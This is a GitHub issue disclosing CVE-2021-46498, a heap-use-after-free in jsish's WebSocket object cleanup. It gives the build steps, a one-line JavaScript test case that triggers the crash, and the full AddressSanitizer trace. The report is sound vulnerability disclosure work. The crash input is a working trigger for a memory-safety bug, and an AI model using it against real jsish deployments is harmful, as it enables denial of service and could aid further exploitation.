CVE-2021-46498: Heap-use-after-free src/jsiWebSocket.c:3190 in jsi_wswebsocketObjFree · Issue #81 · pcmacdon/jsish

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Closed

hope-fly opened this issue

Dec 24, 2021

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Jsish revision

Commit: 9fa798e

Version: v3.5.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

export CFLAGS=’-fsanitize=address’ make

Test case

console.printf= (new WebSocket); setTimeout(console, 100000);

​

Execution steps & Output

$ ./jsish/jsish poc.js =====ERROR: AddressSanitizer: heap-use-after-free on address 0x61b000000080 at pc 0x55b167ed6de6 bp 0x7ffcd360f220 sp 0x7ffcd360f210 READ of size 4 at 0x61b000000080 thread T0 #0 0x55b167ed6de5 in jsi_wswebsocketObjFree src/jsiWebSocket.c:3190 #1 0x55b167e7ba2d in jsi_UserObjFree src/jsiUserObj.c:75 #2 0x55b167dfeefb in Jsi_ObjFree src/jsiObj.c:334 #3 0x55b167dffa0f in Jsi_ObjDecrRefCount src/jsiObj.c:440 #4 0x55b167cae3d1 in ValueFree src/jsiValue.c:178 #5 0x55b167cae3d1 in Jsi_ValueFree src/jsiValue.c:199 #6 0x55b167cae6cf in Jsi_DecrRefCount src/jsiValue.c:52 #7 0x55b167dfc697 in DeleteTreeValue src/jsiObj.c:177 #8 0x55b167e14384 in Jsi_TreeEntryDelete src/jsiTree.c:636 #9 0x55b167e15f10 in destroy_node src/jsiTree.c:496 #10 0x55b167e15f10 in destroy_node src/jsiTree.c:494 #11 0x55b167e15f10 in Jsi_TreeDelete src/jsiTree.c:515 #12 0x55b167dfe9df in Jsi_ObjFree src/jsiObj.c:348 #13 0x55b167dffa0f in Jsi_ObjDecrRefCount src/jsiObj.c:440 #14 0x55b167cae3d1 in ValueFree src/jsiValue.c:178 #15 0x55b167cae3d1 in Jsi_ValueFree src/jsiValue.c:199 #16 0x55b167cae6cf in Jsi_DecrRefCount src/jsiValue.c:52 #17 0x55b167dbe4d4 in Jsi_EventFree src/jsiCmds.c:204 #18 0x55b167cd44e2 in freeEventTbl src/jsiInterp.c:570 #19 0x55b167d768dd in Jsi_HashClear src/jsiHash.c:507 #20 0x55b167d76cd7 in Jsi_HashDelete src/jsiHash.c:526 #21 0x55b167ce787c in jsiInterpDelete src/jsiInterp.c:1936 #22 0x55b1684fe047 in jsi_main src/main.c:49 #23 0x7f5c2d555bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #24 0x55b167c8d969 in _start (/usr/local/bin/jsish+0xe8969)

0x61b000000080 is located 0 bytes inside of 1656-byte region [0x61b000000080,0x61b0000006f8) freed by thread T0 here: #0 0x7f5c2e1c47a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x55b167ed6d22 in jsi_wswebsocketObjFree src/jsiWebSocket.c:3199

previously allocated by thread T0 here: #0 0x7f5c2e1c4d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55b167cfeaa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiWebSocket.c:3190 in jsi_wswebsocketObjFree Shadow bytes around the buggy address: 0x0c367fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c367fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c367fff8010:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c367fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb

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